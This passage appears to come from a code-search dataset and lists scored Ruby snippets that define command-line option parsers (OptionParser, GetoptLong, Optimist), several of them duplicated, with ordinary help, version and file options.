"text": "def parse_options\n @parser.parse!(@argv)\n rescue OptionParser::InvalidOption => er\n raise Mongify::InvalidOption, er.message, er.backtrace\n end",
"title": ""
},
{
"docid": "a77565acbff50fd91cabb994efe7cceb",
"score": "0.71893847",
"text": "def parse_options\n @parser.parse!(@argv)\n rescue OptionParser::InvalidOption => er\n raise Mongify::InvalidOption, er.message, er.backtrace\n end",
"title": ""
},
{
"docid": "c95e722dbd513c711eca01ba61596a15",
"score": "0.7174145",
"text": "def parse_options\n @option_parser = OptionParser.new do |opts|\n opts.on('-p', '--parser NAME', 'Name of parser') do |parser_name|\n @options[:parser_name] = parser_name\n end\n \n opts.on('-f', '--file FILE', 'Input file to parse') do |parser_file|\n @options[:parser_file] = parser_file\n end\n \n opts.on('--force', 'Force overwriting of files') do\n Files.force = true\n end\n \n opts.on_tail('-v', '--version', 'Show version') do\n puts \"VidSkim version #{VERSION}\"\n exit\n end\n end\n @option_parser.banner = BANNER\n @option_parser.parse!(ARGV)\n end",
"title": ""
},
{
"docid": "a0f1267129073a5b905c399d0c4039be",
"score": "0.70800227",
"text": "def parse_options(opts, args); end",
"title": ""
},
{
"docid": "5a7e96d7254358509a238283a7f32ff1",
"score": "0.7061536",
"text": "def parse! args\n get_options args, true\n end",
"title": ""
},
{
"docid": "a258360bd8860417ffbd73853469e9ef",
"score": "0.7008975",
"text": "def option_parser\n\t\t\tcolors = Helpers::CLI.create_color_hash\n\t\t\tOptionParser.new do |opts|\n\t\t\t\tHelpers::CLI.options_title opts, colors\n\t\t\t\tHelpers::CLI.options_create opts, colors\n\t\t\t\tHelpers::CLI.options_display opts, colors\n\t\t\t\tHelpers::CLI.options_add opts, colors\n\t\t\t\tHelpers::CLI.options_finish opts, colors\n\t\t\t\tHelpers::CLI.options_undo opts, colors\n\t\t\t\tHelpers::CLI.options_clear opts, colors\n\t\t\t\tHelpers::CLI.options_remove opts, colors\n\t\t\t\tHelpers::CLI.options_set opts, colors\n\t\t\t\tHelpers::CLI.options_config opts, colors\n\t\t\t\tHelpers::CLI.options_other opts, colors\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "b83cef8b3ca7199f0776b7fabf0ae13e",
"score": "0.70052385",
"text": "def parse(args)\n opt_parser.parse(args)\n self\n end",
"title": ""
},
{
"docid": "d9d756ec9a3f1f1e18e418e26de6c26d",
"score": "0.7000815",
"text": "def _parse_option(opt={})\n return self if opt.blank?\n\n self\n end",
"title": ""
},
{
"docid": "5e666714e163643abb384be093269eaf",
"score": "0.6941965",
"text": "def parse(args)\n @opt_parser.parse(args)\n end",
"title": ""
},
{
"docid": "5e666714e163643abb384be093269eaf",
"score": "0.6941965",
"text": "def parse(args)\n @opt_parser.parse(args)\n end",
"title": ""
},
{
"docid": "5e666714e163643abb384be093269eaf",
"score": "0.6941965",
"text": "def parse(args)\n @opt_parser.parse(args)\n end",
"title": ""
},
{
"docid": "57cdbe16910fd3dca2a9ba768efc55b0",
"score": "0.69008166",
"text": "def parse_options\n options = {}\n\n op = OptionParser.new do |opts|\n opts.banner = \"Usage: #{opts.program_name} [option]...\"\n\n opts.on(\"-h\", \"--help\", \"Show help\") do\n\n end\n\n opts.on(\"-b\", \"--basename\", 'Use basenames rather than FQDNs.') do\n options[:basename] = true\n end\n\n opts.on(\"-j\", \"--json\", 'Emit results as JSON.') do |file|\n options[:json] = true\n end\n\n opts.on(\"-l\", \"--load FILE\", 'Load from FILE.') do |file|\n options[:load] = file\n end\n\n # Support an optional list of groups; default to all if empty.\n\n opts.on(\"-g\", \"--group[=STATES]\", 'Group.') do |states|\n options[:group] ||= []\n if states\n syms = states.split(',').map(&:to_sym)\n options[:group] = options[:group].concat(syms).uniq\n end\n end\n\n end\n\n op.parse!\n\n # Post-parse: check that, if the user has explicitly specificed states to\n # group by, the states in question are actually known.\n\n syms = options[:group]\n validate_groups(syms)\n\n options\nend",
"title": ""
},
{
"docid": "d3e54c76b4994a32658c9045c3634150",
"score": "0.68940055",
"text": "def cli_options(parser); end",
"title": ""
},
{
"docid": "7dec4108bad1f15bb825c13e97b3cdde",
"score": "0.68868226",
"text": "def option_parser\n # @logger = Logger.new\n @option_parser ||= OptionParser.new do |opts|\n opts.banner = \"Usage: #{File.basename($0)} [options] [action]\"\n \n opts.on(\"-h\", \"--help\", \"Display this help message.\") do\n puts help_message\n puts opts\n exit\n end\n\n opts.on(\"-v\", \"--verbose\",\n \"Verbose mode\"\n ) { |value| options[:verbose] = true }\n \n opts.on(\"-s\", \"--stagger [VALUE]\",\n \"Number of seconds to wait inbetween each bulk insert. Default 0\"\n ) { |value| options[:stagger] = value }\n \n opts.on(\"-V\", \"--version\",\n \"Display the schema_transformer version, and exit.\"\n ) do\n require File.expand_path(\"../version\", __FILE__)\n puts \"Schema Transformer v#{SchemaTransformer::VERSION}\"\n exit\n end\n\n end\n end",
"title": ""
},
{
"docid": "9f1105c8ab1eaa1cf7dac84cd7377310",
"score": "0.6874043",
"text": "def option_parser #:nodoc:\n #@logger = Logger.new\n\n @option_parser ||= OptionParser.new do |opts|\n opts.banner = \"Usage: #{File.basename($0)} [options] action ...\"\n\n opts.on(\"-h\", \"--help\", \"Display this help message.\") do\n puts opts\n exit\n end\n opts.on(\"-d\", \"--dir DIRNAME\", \"Config directory (default: current)\"\n ) { |value| @options[:dir] = value }\n opts.on(\"-a\", \"--adapter ADAPTER\", \"DB adapter\"\n ) { |value| @options['adapter'] = value }\n end\n\n @option_parser \n end",
"title": ""
},
{
"docid": "28abd67f49190e4e406fb67ddf5744ad",
"score": "0.6834273",
"text": "def option_data_parse(data, option)\n [\n option_short(data),\n option_full(option, data),\n option_description(data)\n ]\n end",
"title": ""
},
{
"docid": "80a9a0d5b86b5dc2d8268e3f3202e260",
"score": "0.68111783",
"text": "def opt_parse\n sub_options = $options.map { |x| x[0] }\n lsub_options = $options.map { |x| [ x[0][0], x[2] ] }\n opts = GetoptLong.new(*sub_options)\n\n opts.each do |opt, arg|\n case opt\n when '--debug'\n $debug = true\n when '--url'\n $url = arg\n when '--hostname'\n $hostname = arg\n when '--username'\n $username = arg\n when '--password'\n $password = arg\n when '--port'\n $port = arg.to_i\n when '--data'\n $data = arg\n when '--timeout'\n $timeout = arg\n when '--attributes'\n $attributes = JSON.generate(arg.split(','))\n when '--file'\n $data = File.read(arg)\n else\n found = false\n lsub_options.each do |x|\n next if x[0] != opt\n eval x[1]\n found = true\n end\n show_help unless found\n end\n end\nend",
"title": ""
},
{
"docid": "8702c195776654d43fef08af81455677",
"score": "0.6777537",
"text": "def parse(args)\n @options = args\n end",
"title": ""
},
{
"docid": "53c2b5fdee9930d61c6e0074f2996033",
"score": "0.6763058",
"text": "def set_command_options(parser); end",
"title": ""
},
{
"docid": "bad43c39a6001f71a585b58d26c0cb30",
"score": "0.6762028",
"text": "def parse(options)\n opt_parser.parse!(options)\n self\n rescue StandardError\n puts opt_parser\n nil\n end",
"title": ""
},
{
"docid": "df1b180562305a1b9c63fb71d91bcc77",
"score": "0.6751698",
"text": "def option_parser # rubocop:disable Metrics/MethodLength, Metrics/AbcSize\n @option_parser ||=\n OptionParser.new do |parser| # rubocop:disable Metrics/BlockLength\n @query = {}\n\n parser.banner = \"Welcome to ZD Finder. Usage: zd_finder [options]\"\n\n parser.on(\"-h\", \"--help\", \"Prints this help\") do\n puts parser\n exit\n end\n\n parser.separator(\"\")\n\n parser.on(\"-l\", \"--list-fields\",\n \"Show all available searchable fields for each resource\") do\n output \"searchable_fields\",\n resource_classes: ZdFinder::Search.resource_classes\n exit\n end\n\n parser.separator(\"\")\n\n parser.on(\"-r\", \"--resource resource\", String,\n \"Select the resource you want to find. Must be one of: \" \\\n \"#{ resource_slugs.join(' ') }\") do |resource|\n @query[:resource] = resource\n end\n\n parser.on(\"-f\", \"--field field\", String,\n \"The field that will be used for filtering.\") do |field|\n @query[:field] = field\n end\n\n parser.on(\"-v\", \"--value [value]\", String,\n \"The expected value of the field. Leave it empty to \" \\\n \"search for empty values\") do |value|\n @query[:value] = value\n end\n end\n end",
"title": ""
},
{
"docid": "462f79993256fba6a6f74de595c401bc",
"score": "0.6725325",
"text": "def parse_options\n self.class.parser = Optimist::Parser.new unless self.class.parser\n Optimist.with_standard_exception_handling(self.class.parser) do\n self.class.parser.parse ARGV\n end\n end",
"title": ""
},
{
"docid": "fe51ef5c7b6af7a8952d75a78429d65c",
"score": "0.6723179",
"text": "def parser\n create_option_parser if @parser.nil?\n @parser\n end",
"title": ""
},
{
"docid": "50a79a27b58c5a2fffeb72a9fc299ecf",
"score": "0.6722602",
"text": "def parse_options\n\t\t@config\n\t end",
"title": ""
},
{
"docid": "54da7114a3ccb46d13288fb9d2b9f09c",
"score": "0.67191494",
"text": "def completeOptionParser(ioOptionParser)\n end",
"title": ""
},
{
"docid": "54da7114a3ccb46d13288fb9d2b9f09c",
"score": "0.67191494",
"text": "def completeOptionParser(ioOptionParser)\n end",
"title": ""
},
{
"docid": "29de1d86a83aca1de3bad8ab011406ec",
"score": "0.6718922",
"text": "def parse_options\n options = {}\n OptionParser.new do |o|\n o.on('-s server') { |b| options['server'] = b }\n o.on('-u username') { |b| $username = b }\n #o.on('-p password') { |b| options[\"password\"] = password }\n\n o.on('-h') { puts o; exit }\n o.parse!\n end\nend",
"title": ""
},
{
"docid": "4230341c468d754343ad65909df272ac",
"score": "0.6718432",
"text": "def parse_options\n @dataset = `df -h /room/#{@user}/#{name} | tail -1 | awk '{ print \\$1 }'`.chomp\n @dataset_origin = `zfs get -Hp -o value origin #{@dataset}/share`.chomp\n @json = JSON.parse options_json\n if File.exist? \"#{@mountpoint}/etc/tags.json\"\n @tag_index = Room::TagIndex.new(local_path: @mountpoint)\n end\n end",
"title": ""
},
{
"docid": "dacbcba45ee6cf9d1bbcfc9b0c971dea",
"score": "0.6716257",
"text": "def parse\n\t\t\toptparse = option_parser\n\t\t\tbegin\n\t\t\t\toptparse.parse!\n\t\t\t\tcommands_parser\n\t\t\trescue OptionParser::InvalidOption, OptionParser::InvalidArgument, \n\t\t\t\t\t\t OptionParser::MissingArgument, OptionParser::NeedlessArgument => e\n\t\t\t\tputs \"#{e.to_s. capitalize}. See todo -h for help.\"\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "598c6af7eeda3cae36298fc10bb45b79",
"score": "0.671216",
"text": "def parse\n # @opts = OptionParser.new(&method(:set_opts))\n OptionParser.new do |opts|\n set_opts(opts)\n end.parse!(@args)\n\n process_args\n\n @options\n end",
"title": ""
},
{
"docid": "598c6af7eeda3cae36298fc10bb45b79",
"score": "0.671216",
"text": "def parse\n # @opts = OptionParser.new(&method(:set_opts))\n OptionParser.new do |opts|\n set_opts(opts)\n end.parse!(@args)\n\n process_args\n\n @options\n end",
"title": ""
},
{
"docid": "a5dd23d7c86fcb4035d462902e81de66",
"score": "0.6702785",
"text": "def options(opt); end",
"title": ""
},
{
"docid": "a5dd23d7c86fcb4035d462902e81de66",
"score": "0.6702785",
"text": "def options(opt); end",
"title": ""
},
{
"docid": "a5dd23d7c86fcb4035d462902e81de66",
"score": "0.6702785",
"text": "def options(opt); end",
"title": ""
},
{
"docid": "2f15b831e9ad0490307a8018cd848c41",
"score": "0.6698735",
"text": "def parse_options(args = {})\n self.option_parser.parse!(args)\n rescue OptionParser::InvalidOption => e\n io.puts option_parser\n io.puts \"\\n!! #{e.message}\\n\"\n raise(e)\n end",
"title": ""
},
{
"docid": "db8f51f2b4ac762e9321e55a3599f174",
"score": "0.66961646",
"text": "def parse_opts(opts, options)\n opts.on('-f', '--file [STRING]', String, 'Enter the config file to open.') do |file|\n options[:file] = file\n end\n opts.on('-n', '--name [STRING]', String, 'Enter name to filter gems by name') do |name|\n raise 'You enter invalid option. Option :name can be only string or number' if name.nil?\n\n options[:name_sort] = name\n end\n opts.on('-t', '--top [INTEGER]', Integer, 'Enter number to filter top of gems') do |top|\n raise 'You enter invalid option.Option :top can be only integer number' if top.nil?\n\n options[:top] = top\n end\n # rubocop:enable Metrics/MethodLength\n end",
"title": ""
},
{
"docid": "458149a697ebe7517051887614f7a253",
"score": "0.6680176",
"text": "def option_parser(receiver, opt = OptionParser.new)\n options.each do |option|\n name, dom, defa, descr = option\n opt.on(option_name(option), descr || \"\") do |val|\n if receiver.is_a?(Hash)\n receiver[name] = val\n else\n receiver.send(:\"#{name}=\", val)\n end\n end\n end\n opt\n end",
"title": ""
},
{
"docid": "e8a5b94cc13a1cffbae78c5790b3cc3a",
"score": "0.66573334",
"text": "def options_parser\n optparse = OptionParser.new do|opts|\n # Set a banner\n opts.banner = \"Usage: #{File.basename($0)} [options...]\"\n\n opts.on '-d NUM', '--days-back NUM',\n 'how many days into the past to use for report generation' do |days_back|\n @options[:days_back] = days_back\n end\n\n opts.on '-l', '--latest',\n 'how many days into the past to use for report generation' do\n @options[:latest] = true\n end\n\n opts.on '--db DATABASE_NAME',\n 'sqlite3 database to push data to' do |dbname|\n @options[:db] = dbname\n end\n\n opts.on '-h', '--help' do\n @options[:help] = true\n end\n end\n optparse\nend",
"title": ""
},
{
"docid": "7207e1a9112ae7a939fae16a2cf87165",
"score": "0.6646549",
"text": "def option_parser\n @option_parser ||= begin\n opts = OptionParser.new\n\n opts.banner = 'Usage: example.rb [options]'\n\n opts.on(\n '-f INPUT_CSV_FILE_PATH',\n '--file INPUT_CSV_FILE_PATH', '[REQUIRED] File path',\n String\n ) do |file_path|\n @options[:file_path] = file_path\n end\n\n opts.on(\n '-a ALGORITHM',\n '--algorithm ALGORITHM', '[OPTIONAL] Algorithm name',\n String\n ) do |algorithm_name|\n @options[:algorithm_name] = algorithm_name\n end\n\n opts.on(\n '-s SKIP',\n \"--skip 'NoVo,Hewlett Foundation,Wallace Global Fund'\",\n '[OPTIONAL] Skip words',\n Array\n ) do |skip|\n @options[:skip] = skip\n end\n\n opts.on(\n '-m MAX',\n '--max 10',\n '[OPTIONAL] Max similarities',\n Integer\n ) do |max|\n @options[:max] = max\n end\n\n opts.on(\n '-v',\n '--[no-]verbose', '[OPTIONAL] Run verbosely'\n ) do |verbose|\n @options[:verbose] = verbose\n end\n\n opts.on_tail('--version', 'Show version') do\n puts VERSION\n exit\n end\n\n opts.on('-h', '--help', 'Prints this help') do\n help(opts)\n exit(0)\n end\n\n opts\n end\n end",
"title": ""
},
{
"docid": "788154050631113074461bed09e4d559",
"score": "0.662382",
"text": "def parse_options\n opts = OptionParser.new\n opts.on('-h', '--help') { output_help }\n opts.on('-V', '--version') { output_version }\n opts.parse!(@arguments)\n end",
"title": ""
},
{
"docid": "5680eef1e0db67d2de5433e9f68a0548",
"score": "0.6610897",
"text": "def fill_option_parser(opt, receiver)\n options.each do |option|\n name, dom, defa, descr = option\n opt.on(option_name(option), descr || \"\") do |val|\n receiver.send(:\"#{name}=\", val)\n end\n end\n opt\n end",
"title": ""
},
{
"docid": "ce66e89583372d898cbc68d99a94960b",
"score": "0.66018236",
"text": "def parse_options\n \n options = {}\n\n o = OptionParser.new do |opts|\n opts.banner = \"Usage: example.rb [options]\"\n opts.separator \"\"\n\n opts.on(\"-d DRUID\", \"--druid DRUID\", \"Pass in a druid to process\") do |d|\n @options.druid = d\n end\n \n opts.on(\"-f\", \"--file FILE\", \"Pass in a file of druids to process\") do |f|\n @options.file = f\n end\n \n opts.on(\"-m MODE\", \"--mode MODE\", \"Specify the mode to run in\") do |m|\n case m\n when \"master\"\n @options.mode = :master\n when \"slave\"\n @options.mode = :slave\n when \"default\"\n @options.mode = :default\n else\n raise OptionParser::InvalidArgument, \"Invalid mode: #{m}\"\n end\n end\n \n end\n \n # Parse the command line options and ignore anything not specified above\n begin\n o.parse!(@opts[:argv] || ARGV)\n rescue OptionParser::InvalidOption => e\n LyberCore::Log.debug(\"e.inspect\")\n rescue OptionParser::ParseError => e\n LyberCore::Log.error(\"Couldn't parse options: #{e.backtrace}\") \n raise e\n end\n \n end",
"title": ""
},
{
"docid": "8886fd7b9854e19dc477bc462128bfc2",
"score": "0.6587001",
"text": "def parse\n @opts = OptionParser.new(&method(:set_opts))\n @opts.parse!(@args)\n\n process_result\n\n @options\n end",
"title": ""
},
{
"docid": "8886fd7b9854e19dc477bc462128bfc2",
"score": "0.6587001",
"text": "def parse\n @opts = OptionParser.new(&method(:set_opts))\n @opts.parse!(@args)\n\n process_result\n\n @options\n end",
"title": ""
},
{
"docid": "a3a71ec349284185e55cf04eab58aaed",
"score": "0.65845114",
"text": "def options_parser\n optparse = OptionParser.new do|opts|\n # Set a banner\n opts.banner = \"Usage: #{File.basename($0)} [options...]\"\n\n opts.on '-f', '--file FILE',\n 'single file to process' do |filename|\n @options[:file] = filename\n end\n\n opts.on '-h', '--help' do\n @options[:help] = true\n end\n end\n optparse\nend",
"title": ""
},
{
"docid": "fb535af7f3704cd4644944caf4920fac",
"score": "0.6579147",
"text": "def handle_options(argv); end",
"title": ""
},
{
"docid": "3f6529042214afcb82f67fa8f5295537",
"score": "0.657106",
"text": "def option_parser(receiver)\n fill_option_parser(OptionParser.new, receiver)\n end",
"title": ""
},
{
"docid": "4b0c1e8dfabc18c1dc43739650c445b7",
"score": "0.65537256",
"text": "def parse\n @opts = OptionParser.new(&method(:set_opts))\n @opts.parse!(@args)\n\n process_result\n\n @options\n end",
"title": ""
},
{
"docid": "c2718d70d73fe9ab8fa9814e919c1ee9",
"score": "0.65527624",
"text": "def parse_options(opts, args)\n opts.parse!(args)\n rescue OptionParser::InvalidOption => e\n log.warn \"Unrecognized/#{e.message}\"\n end",
"title": ""
},
{
"docid": "38663cd096418aeb1ff8034590121efa",
"score": "0.65516216",
"text": "def parse(*args)\n Imp::Options::OptionParser.new(@_options || []).parse(args)\n end",
"title": ""
},
{
"docid": "efcf33d89d33176123c17eaf89b5c765",
"score": "0.65490127",
"text": "def option_parser\n @option_parser ||= OptionParser.new do |opt|\n opt.banner = \"Usage: #{File.basename($0)} command [arg1 [arg2]] [options]\"\n opt.separator ''\n opt.separator COMMANDS_HELP\n opt.separator ''\n opt.separator 'Specific options:'\n\n opt.on('-c', '--config=file', 'Configuration file') do |config_file|\n options[:config_file] = config_file\n end\n\n opt.on('-d', '--daemonize', 'Daemonize when all loops started') do |value|\n options[:daemonize] = true\n end\n\n opt.on('-e', '--environment=env', 'Set LOOPS_ENV/RAILS_ENV/MERB_ENV value') do |env|\n options[:environment] = env\n end\n\n opt.on('-f', '--framework=name', \"Bootstraps Rails (rails - default value) or Merb (merb) before#{SPLIT_HELP_LINE}starting loops. Use \\\"none\\\" for plain ruby loops.\") do |framework|\n options[:framework] = framework\n end\n\n opt.on('-l', '--loops=dir', 'Root directory with loops classes') do |loops_root|\n options[:loops_root] = loops_root\n end\n\n opt.on('-p', '--pid=file', 'Override loops.yml pid_file option') do |pid_file|\n options[:pid_file] = pid_file\n end\n\n opt.on('-r', '--root=dir', 'Root directory which will be used as a loops home dir (chdir)') do |root|\n options[:root] = root\n end\n\n opt.on('-Rlibrary', '--require=library', 'require the library before executing the script') do |library|\n options[:require] << library\n end\n\n opt.on_tail(\"-h\", '--help', 'Show this message') do\n puts(opt)\n exit(0)\n end\n end\n end",
"title": ""
},
{
"docid": "238b6eddc90d654ccf7aceb47e258a1f",
"score": "0.6548758",
"text": "def parse\n @opts = OptionParser.new(&method(:set_opts))\n\n @opts.parse!(@args)\n\n process_result\n\n @options\n end",
"title": ""
},
{
"docid": "b0e3d58df3d1f6da506e03b382c9506b",
"score": "0.6548654",
"text": "def parse_options\n require 'optparse'\n OptionParser.new do |o|\n o.on(\"-d database_type\") { |d| $database_type = d }\n o.on(\"-n concerto_hostname\") { |n| $concerto_hostname = n }\n o.on('-l concerto_location') { |location| $concerto_location = location }\n o.on(\"-h\", \"--help\", \"Show this message\") { puts o; exit }\n o.parse!\n end\n #A sensible default for Concerto installation location\n if $concerto_location.nil?\n if Kernel.is_windows?\n puts \"Concerto is being installed to c:\\concerto. To specify the location to deploy Concerto to, use the -l option\"\n $concerto_location = 'c:\\concerto'\n else\n puts \"Concerto is being installed to /var/www/concerto. To specify the location to deploy Concerto to, use the -l option\"\n $concerto_location = \"/var/www/concerto\" \n end\n end\nend",
"title": ""
},
{
"docid": "272af6ac619ef09a7276835514246caa",
"score": "0.65391505",
"text": "def parse_options!\n @options = {}\n optparse = OptionParser.new do |opts|\n opts.banner = USAGE_TEXT\n\n @options[:bfs] = false\n opts.on( '-b', '--bfs', 'BFS method used for solving.' ) do\n @options[:bfs] = true\n end\n\n @options[:dfs] = false\n opts.on( '-d', '--dfs', 'DFS method used for solving.' ) do\n @options[:dfs] = true\n end\n\n @options[:man] = false\n opts.on( '-m', '--man', 'Manhattan heuristic used for solving.' ) do\n @options[:man] = true\n end\n\n @options[:euc] = false\n opts.on( '-e', '--euc', 'Euclidean heuristic used for solving.' ) do\n @options[:euc] = true\n end\n\n @options[:sco] = false\n opts.on( '-s', '--sco', 'Score heuristic used for solving.' ) do\n @options[:sco] = true\n end\n end\n optparse.parse!\n end",
"title": ""
},
{
"docid": "055e04f7129deab048774a6e75824010",
"score": "0.6522092",
"text": "def opts\n @option_parser\n end",
"title": ""
},
{
"docid": "c76c603fe4517ced5acaab0915295409",
"score": "0.6511096",
"text": "def opt_parser\n # rubocop:disable Metrics/BlockLength\n @opt_parser ||= OptionParser.new do |opts|\n opts.banner = 'Usage: convert_to_csv [options] FILE'\n\n opts.on('--[no-]stdout', 'Print to stdout as well') do |std|\n self.std = std\n end\n\n opts.on('-o', '--output=OUTPUT', 'Output file or print to std out') do |n|\n self.file = File.open(n, 'w+')\n end\n\n opts.on('--[no-]header', 'Output header line') do |header|\n self.header = header\n end\n\n opts.on('-k', '--keys=KEYS', Array, 'Keys to use for csv. Comma seperated') do |keys|\n self.keys = keys\n end\n\n opts.on('--key-file FILE', 'File containing keys one per line') do |key_file|\n self.keys = File.read(key_file).split(\"\\n\")\n end\n\n opts.on('--only-keys', 'Only print keys') do |_keys|\n self.header = false\n self.only_keys = true\n end\n\n opts.on('--filter-file FILE', 'File containing filter') do |filter_file|\n self.filter = parse_filter_file(filter_file)\n end\n\n opts.on('-f', '--filter FILTER', Array, 'Filter by key,value0,value1,value2') do |filter|\n self.filter = [filter[0], filter[1..]]\n end\n\n opts.on('-l', '--limit LIMIT', Integer, 'Limit output to LIMIT entries(equal or greater than 0)') do |limit|\n raise if limit.negative?\n\n self.limit = limit\n end\n\n opts.on('-h', '--help', 'Prints this help') do\n puts opts\n exit\n end\n end\n # rubocop:enable Metrics/BlockLength\n end",
"title": ""
},
{
"docid": "d2b56011a672f40ddca7c1e379c33740",
"score": "0.64876586",
"text": "def parse_options\n OptionParser.new do |opts|\n opts.banner = \"Usage: spdoc-ticket.rb [--category] [--user] [--title]\"\n \n opts.on(\"-uNAME\", \"--user=NAME\", \"Author of this ticket\") do |name|\n @options[:user] = name\n end \n opts.on(\"-cNAME\", \"--category=NAME\", \"Category of the ticket (task, bug, review and etc.)\") do |name|\n @options[:category] = name\n end\n opts.on(\"-tTITLE\", \"--title=TITLE\", \"Title of the ticket\") do |title|\n @options[:title] = title\n end\n \n opts.on(\"-h\", \"--help\", \"Prints this help\") do\n puts opts\n exit\n end \n end.parse!\n end",
"title": ""
},
{
"docid": "03593c6b2f7887787aded29712812787",
"score": "0.6485531",
"text": "def initialize argv\n @options = {}\n while argv[0] =~ /^-/\n option, value = argv.shift.split(/:/, 2)\n csv = (value =~ /,/ ? value.split(',') : Array(value))\n modes = csv.inject({}){|h,s| k, v = s.split(/=/, 2); h[k] = v || true; h }\n @options[option.sub(/^-*/,'')] = modes\n end\n end",
"title": ""
},
{
"docid": "1a8e0c0b46aef4b4d0f1bf7926f32af0",
"score": "0.6482611",
"text": "def opt_parser\n @opt_parser ||= OptionParser.new do |opts|\n # Set the banner\n opts.banner = banner\n\n # Create new options\n options.sort { |a, b| a[0].to_s <=> b[0].to_s }.each do |opt_key, opt_val|\n opt_args = build_option_arguments(opt_val)\n opt_method = case opt_val[:on]\n when :on\n :on\n when :tail\n :on_tail\n when :head\n :on_head\n else\n raise ArgumentError, \"You must pass :on, :tail, or :head to :on\"\n end\n\n parse_block =\n Proc.new do |c|\n config[opt_key] = if opt_val[:proc]\n if opt_val[:proc].arity == 2\n # New hotness to allow for reducer-style procs.\n opt_val[:proc].call(c, config[opt_key])\n else\n # Older single-argument proc.\n opt_val[:proc].call(c)\n end\n else\n # No proc.\n c\n end\n puts opts if opt_val[:show_options]\n exit opt_val[:exit] if opt_val[:exit]\n end\n\n full_opt = [ opt_method ]\n opt_args.inject(full_opt) { |memo, arg| memo << arg; memo }\n full_opt << parse_block\n opts.send(*full_opt)\n end\n end\n end",
"title": ""
},
{
"docid": "a64d121d8e2bc9c300a8dd51daaa1c66",
"score": "0.64808524",
"text": "def option_parser(options)\n ::OptionParser.new do |parser|\n parser.banner = \"Usage: ./bin/survey-tool [options]\"\n parser.separator(\"\")\n parser.separator \"Specific options:\"\n questions_filepath_option(parser, options)\n responses_filepath_option(parser, options)\n parser.separator(\"\")\n parser.separator \"Common options:\"\n help_option(parser)\n version_option(parser)\n end\n end",
"title": ""
},
{
"docid": "ef48196ee140787f4ce371c6466919c2",
"score": "0.6472713",
"text": "def parser\n @parser ||= OptionParser.new do |o|\n o.banner = 'Usage: jobim [OPTION]... [DIRECTORY]'\n\n o.separator ''\n o.separator 'Specific options:'\n\n o.on('-a', '--address HOST',\n 'bind to HOST address (default: 0.0.0.0)') do |host|\n options[:host] = host\n end\n\n o.on('-c', '--[no-]config [PATH]',\n 'Disable config loading or specify path to load from') do |v|\n options[:conf_dir] = v.nil? ? Dir.pwd : v\n end\n\n o.on '-d', '--daemonize', 'Run as a daemon process' do\n options[:daemonize] = true\n end\n\n o.on('-p', '--port PORT', OptionParser::DecimalInteger,\n 'use PORT (default: 3000)') do |port|\n fail OptionParser::InvalidArgument if port == 0\n options[:port] = port\n end\n\n o.on '-P', '--prefix PATH', 'Mount the app under PATH' do |path|\n options[:prefix] = path\n end\n\n o.on '-q', '--quiet', 'Silence all logging' do\n options[:quiet] = true\n end\n\n o.separator ''\n o.separator 'General options:'\n\n o.on '-h', '--help', 'Display this help message.' do\n @exit = true\n puts help\n end\n o.on '--version', 'Display the version number' do\n @exit = true\n puts \"#{Jobim::VERSION}\\n\"\n end\n\n o.separator ''\n o.separator 'Jobim home page: <https://github.com/zellio/jobim/>'\n o.separator 'Report bugs to: <https://github.com/zellio/jobim/issues>'\n o.separator ''\n end\n end",
"title": ""
},
{
"docid": "8dcc038579166e9f10387cd903512a40",
"score": "0.64655083",
"text": "def parse_options!(argv)\n @opts.order!(argv)\n if (!argv.empty?) then\n # Try to treat an unknown option as a UID\n uid = argv.shift\n end\n @opts.order!(argv)\n if (!argv.empty?) then\n # Try to treat the next option as a FULLNAME\n full_name = argv.shift\n parse_full_name full_name\n end\n @opts.order!(argv)\n show_help_exit unless uid\n set_full_name\n set_uid uid\n ## set default values if not given by options\n set_comment is_mode?(:test) ? 'test account' : 'normal account' unless @comment\n set_expire '?' unless @expire\n end",
"title": ""
},
{
"docid": "2ffe4351133b89fdb14c50ec548a4c38",
"score": "0.6458974",
"text": "def option_parser\n @option_parser ||= OptionParser.new do |opts|\n opts.banner = 'Usage: bake x.y.z'\n\n opts.separator ''\n opts.separator 'Actions:'\n\n actions = Action.constants.map(&Action.method(:const_get))\n actions.select(&:id).each do |action|\n opts.on(\"--[no-]#{action.id}\", action.description) do |v|\n options[action.id.to_sym] = v\n end\n end\n\n opts.separator ''\n opts.separator 'Plugins:'\n\n plugins = Plugin.constants.map(&Plugin.method(:const_get))\n plugins.select(&:id).each do |plugin|\n opts.on(\"--[no-]#{plugin.id}\", plugin.description) do |v|\n options[plugin.id.to_sym] = v\n end\n end\n\n opts.separator ''\n opts.separator 'Global Options:'\n\n opts.on('--log-level [LEVEL]', 'Set the log verbosity') do |v|\n options[:log_level] = v\n end\n\n opts.on('--category [CATEGORY]', 'Set category for the cookbook') do |v|\n options[:category] = v\n end\n\n opts.on('--path [PATH]', 'Change the path to a cookbook') do |v|\n options[:path] = v\n end\n\n opts.on('--remote [REMOTE]', 'The name of the git remote to push to') do |v|\n options[:remote] = v\n end\n\n opts.on('--branch [BRANCH]', 'The name of the git branch to push to') do |v|\n options[:branch] = v\n end\n\n opts.on_tail('-h', '--help', 'Show this message') do\n puts opts\n exit\n end\n\n opts.on_tail('-v', '--version', 'Show version') do\n puts Stove::VERSION\n exit(0)\n end\n end\n end",
"title": ""
},
{
"docid": "49913a1a62e57e4fde2d664182d5804a",
"score": "0.6446727",
"text": "def parse_options(args)\n opts = OptionParser.new\n add_options(opts)\n opts.parse(args)\n end",
"title": ""
},
{
"docid": "e619a0daa5763ac16122a14f5ec1b4ee",
"score": "0.6441962",
"text": "def parse(args)\n # The options specified on the command line will be collected in *options*.\n # We set default values here.\n\n @opts.parse(args)\n\n @options\n end",
"title": ""
},
{
"docid": "0ffa09922445f2b9aa239f8839d7b3e2",
"score": "0.6440816",
"text": "def opts\n @option_parser ||= OptionParserProxy.new(OptionParser.new,options)\n end",
"title": ""
},
{
"docid": "0ffa09922445f2b9aa239f8839d7b3e2",
"score": "0.6440816",
"text": "def opts\n @option_parser ||= OptionParserProxy.new(OptionParser.new,options)\n end",
"title": ""
},
{
"docid": "7e6c9654022ac9b63a7726541d8fd7b5",
"score": "0.64393616",
